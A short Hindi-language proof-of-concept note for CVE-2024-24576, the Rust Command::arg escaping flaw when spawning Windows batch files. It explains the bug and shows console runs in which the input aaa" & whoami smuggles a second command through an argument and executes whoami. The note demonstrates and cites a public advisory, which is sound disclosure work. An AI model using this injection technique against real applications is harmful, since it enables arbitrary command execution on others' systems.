
CVE-2024-24576 उपयोग केस का उदाहरण।
Command::arg और Command::args API अपने दस्तावेज़ में बताती हैं कि तर्क (arguments) स्पॉन की गई प्रक्रिया को वैसे ही पास किए जाएंगे जैसे हैं, तर्कों की सामग्री की परवाह किए बिना, और शेल द्वारा उनका मूल्यांकन नहीं किया जाएगा। इसका मतलब है कि अविश्वसनीय इनपुट को तर्क के रूप में पास करना सुरक्षित होना चाहिए।
विंडोज़ पर, इसका कार्यान्वयन अन्य प्लेटफॉर्मों की तुलना में अधिक जटिल है, क्योंकि विंडोज़ API स्पॉन की गई प्रक्रिया को केवल एक स्ट्रिंग प्रदान करता है जिसमें सभी तर्क होते हैं, और उन्हें अलग करना स्पॉन की गई प्रक्रिया पर निर्भर करता है। अधिकांश प्रोग्राम मानक C रन-टाइम argv का उपयोग करते हैं, जो व्यवहार में अधिकतर सुसंगत तरीके से तर्कों को विभाजित करता है।
एक अपवाद है cmd.exe (जिसका उपयोग बैच फ़ाइलों को निष्पादित करने के अलावा अन्य कार्यों के लिए भी किया जाता है), जिसका तर्क विभाजन तर्क अपना है। यह मानक पुस्तकालय को बैच फ़ाइलों में पास किए गए तर्कों के लिए कस्टम एस्केपिंग लागू करने के लिए मजबूर करता है। दुर्भाग्यवश, यह रिपोर्ट किया गया था कि हमारी एस्केपिंग तर्क पर्याप्त नहीं थी, और ऐसे दुर्भावनापूर्ण तर्क पास करना संभव था जो मनमानी शेल निष्पादन का कारण बनते हैं।
main.rs फ़ाइल को निम्नलिखित पेलोड के साथ चलाने पर प्राप्त होता है
C:\Users\frost\testing>cargo run
Compiling testing v0.1.0 (C:\Users\frost\testing)
Finished dev [unoptimized + debuginfo] target(s) in 0.49s
Running `target\debug\testing.exe`
enter payload here
aaa
Output:
Argument received: aaa
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa & whoami
Output:
Argument received: "aaa & whoami"
C:\Users\frost\testing>cargo run
Finished dev [unoptimized + debuginfo] target(s) in 0.01s
Running `target\debug\testing.exe`
enter payload here
aaa" & whoami
Output:
Argument received: "aaa\"
desktop-8j2vk8b\frost
ध्यान दें " whoami के साथ एस्केप किया गया तर्क
यह मेरी खोज नहीं है!
स्रोत: https://github.com/rust-lang/rust/security/advisories/GHSA-q455-m56c-85mh https://www.bleepingcomputer.com/news/security/critical-rust-flaw-enables-windows-command-injection-attacks/